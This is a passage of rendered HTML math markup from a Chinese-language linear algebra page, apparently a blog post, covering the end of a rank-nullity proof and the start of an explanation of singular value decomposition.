class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span><span class="mbin mtight">+</span><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2083em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.9028em;vertical-align:-0.2083em;"></span><span class="mord"><span class="mord mathnormal">b</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span><span class="mbin mtight">+</span><span class="mord mtight">2</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2083em;"><span></span></span></span></span></span></span><span class="mord mathnormal">A</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span><span class="mbin mtight">+</span><span class="mord mtight">2</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2083em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="minner">…</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8444em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">b</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">n</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord mathnormal">A</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span></span></p><p>所以 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>y</mi></mrow><annotation encoding="application/x-tex"> y </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span></span></span></span> 可以表示为 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">{</mo><mi>A</mi><msub><mi>v</mi><mrow><mi>k</mi><mo>+</mo><mn>1</mn></mrow></msub><mo separator="true">,</mo><mi>A</mi><msub><mi>v</mi><mrow><mi>k</mi><mo>+</mo><mn>2</mn></mrow></msub><mo separator="true">,</mo><mo>…</mo><mo separator="true">,</mo><mi>A</mi><msub><mi>v</mi><mi>n</mi></msub><mo stretchy="false">}</mo></mrow><annotation encoding="application/x-tex"> \{A v_{k+1}, A v_{k+2}, \ldots, A v_n\} </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">{</span><span class="mord mathnormal">A</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span><span class="mbin mtight">+</span><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2083em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">A</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span><span class="mbin mtight">+</span><span class="mord mtight">2</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2083em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner">…</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">A</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">}</span></span></span></span> 的线性组合。</p></li></ul></li></ol><p>因此，<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">{</mo><mi>A</mi><msub><mi>v</mi><mrow><mi>k</mi><mo>+</mo><mn>1</mn></mrow></msub><mo separator="true">,</mo><mi>A</mi><msub><mi>v</mi><mrow><mi>k</mi><mo>+</mo><mn>2</mn></mrow></msub><mo separator="true">,</mo><mo>…</mo><mo separator="true">,</mo><mi>A</mi><msub><mi>v</mi><mi>n</mi></msub><mo stretchy="false">}</mo></mrow><annotation encoding="application/x-tex"> \{A v_{k+1}, A v_{k+2}, \ldots, A v_n\} </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">{</span><span class="mord mathnormal">A</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span><span class="mbin mtight">+</span><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2083em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">A</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span><span class="mbin mtight">+</span><span class="mord mtight">2</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2083em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner">…</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">A</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">}</span></span></span></span> 张成 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi mathvariant="normal">Im</mi><mo>⁡</mo><mo stretchy="false">(</mo><mi>A</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex"> \operatorname{Im}(A) </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mop"><span class="mord mathrm">Im</span></span><span class="mopen">(</span><span class="mord mathnormal">A</span><span class="mclose">)</span></span></span></span>。</p><p>因此，<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>dim</mi><mo>⁡</mo><mo stretchy="false">(</mo><mi mathvariant="normal">Im</mi><mo>⁡</mo><mo stretchy="false">(</mo><mi>A</mi><mo stretchy="false">)</mo><mo stretchy="false">)</mo><mo>=</mo><mi>n</mi><mo>−</mo><mi>k</mi></mrow><annotation encoding="application/x-tex"> \dim(\operatorname{Im}(A)) = n - k </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mop">dim</span><span class="mopen">(</span><span class="mop"><span class="mord mathrm">Im</span></span><span class="mopen">(</span><span class="mord mathnormal">A</span><span class="mclose">))</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span></span></span></span>。</p><p>综上所述，有 <p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mi>dim</mi><mo>⁡</mo><mo stretchy="false">(</mo><mi>ker</mi><mo>⁡</mo><mo stretchy="false">(</mo><mi>A</mi><mo stretchy="false">)</mo><mo stretchy="false">)</mo><mo>+</mo><mi>R</mi><mo stretchy="false">(</mo><mi>A</mi><mo stretchy="false">)</mo><mo>=</mo><mi>k</mi><mo>+</mo><mo stretchy="false">(</mo><mi>n</mi><mo>−</mo><mi>k</mi><mo stretchy="false">)</mo><mo>=</mo><mi>n</mi><mo>=</mo><mi>dim</mi><mo>⁡</mo><mo stretchy="false">(</mo><mi>V</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex"> \dim(\ker(A)) + R(A) = k + (n - k) = n = \dim(V) </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mop">dim</span><span class="mopen">(</span><span class="mop">ker</span><span class="mopen">(</span><span class="mord mathnormal">A</span><span class="mclose">))</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.00773em;">R</span><span class="mopen">(</span><span class="mord mathnormal">A</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7778em;vertical-align:-0.0833em;"></span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mop">dim</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.22222em;">V</span><span class="mclose">)</span></span></span></span></span></p></p><h1 id="svd-分解"><a class="markdownIt-Anchor" href="#svd-分解"></a> SVD 分解</h1><p>对于任意 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>A</mi></mrow><annotation encoding="application/x-tex"> A </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">A</span></span></span></span> 可以分解为 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>A</mi><mo>=</mo><mi>U</mi><mi mathvariant="normal">Σ</mi><msup><mi>V</mi><mi>T</mi></msup></mrow><annotation encoding="application/x-tex"> A = U \Sigma V^T </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">A</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8413em;"></span><span class="mord mathnormal" style="margin-right:0.10903em;">U</span><span class="mord">Σ</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.22222em;">V</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8413em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.13889em;">T</span></span></span></span></span></span></span></span></span></span></span>，其中 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>U</mi></mrow><annotation encoding="application/x-tex"> U </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.10903em;">U</span></span></span></span> 和 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>V</mi></mrow><annotation encoding="application/x-tex"> V </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.22222em;">V</span></span></span></span> 是正交矩阵，<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi mathvariant="normal">Σ</mi></mrow><annotation encoding="application/x-tex"> \Sigma </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord">Σ</span></span></span></span> 是对角矩阵，且对角线上的元素非负且按降序排列。</p><p>首先考虑试着找到 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>A</mi><msub><mi>v</mi><mi>i</mi></msub><mo>=</mo><msub><mi>σ</mi><mi>i</mi></msub><msub><mi>u</mi><mi>i</mi></msub></mrow><annotation encoding="application/x-tex"> A v_i = \sigma_i u_i </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord mathnormal">A</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.5806em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">σ</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal">u</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>，其中 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>v</mi><mi>i</mi></msub></mrow><annotation encoding="application/x-tex"> v_i </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.5806em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> 和 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>u</mi><mi>i</mi></msub></mrow><annotation encoding="application/x-tex"> u_i </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.5806em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">u</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> 分别是 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>V</mi></mrow><annotation encoding="application/x-tex"> V </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.22222em;">V</span></span></span></span> 和 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>U</mi></mrow><annotation encoding="application/x-tex"> U </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.10903em;">U</span></span></span></span> 的列向量，<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>σ</mi><mi>i</mi></msub></mrow><annotation encoding="application/x-tex"> \sigma_i </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.5806em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">σ</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> 是 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi mathvariant="normal">Σ</mi></mrow><annotation encoding="application/x-tex"> \Sigma </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord">Σ</span></span></span></span> 的对角线元素。这里的几何意义是找到一个在行空间上的单位正交基 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">{</mo><msub><mi>v</mi><mn>1</mn></msub><mo separator="true">,</mo><msub><mi>v</mi><mn>2</mn></msub><mo separator="true">,</mo><mo>…</mo><mo separator="true">,</mo><msub><mi>v</mi><mi>n</mi></msub><mo stretchy="false">}</mo></mrow><annotation encoding="application/x-tex"> \{v_1, v_2, \ldots, v_n\} </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">{</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner">…</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">}</span></span></span></span>，使得通过 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>A</mi></mrow><annotation encoding="application/x-tex"> A </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">A</span></span></span></span> 映射到列空间上时，得到的向量 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">{</mo><msub><mi>u</mi><mn>1</mn></msub><mo separator="true">,</mo><msub><mi>u</mi><mn>2</mn></msub><mo separator="true">,</mo><mo>…</mo><mo separator="true">,</mo><msub><mi>u</mi><mi>m</mi></msub><mo stretchy="false">}</mo></mrow><annotation encoding="application/x-tex"> \{u_1, u_2, \ldots, u_m\} </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">{</span><span class="mord"><span class="mord mathnormal">u</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">u</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner">…</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">u</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">m</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">}</span></span></span></span> 也是正交的，并且每个向量的长度被缩放了一个因子 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>σ</mi><mi>i</mi></msub></mrow><annotation encoding="application/x-tex"> \sigma_i </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.5806em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">σ</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>。</p><p>对于零空间中的向量 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>v</mi><mi>j</mi></msub><mtext>，</mtext><mi>n</mi><mo>≥</mo><mi>j</mi><mo>&gt;</mo><mi>r</mi></mrow><annotation encoding="application/x-tex"> v_j， n \geq j \gt r </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.9694em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mord cjk_fallback">，</span><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≥</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.854em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.05724em;">j</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&gt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord 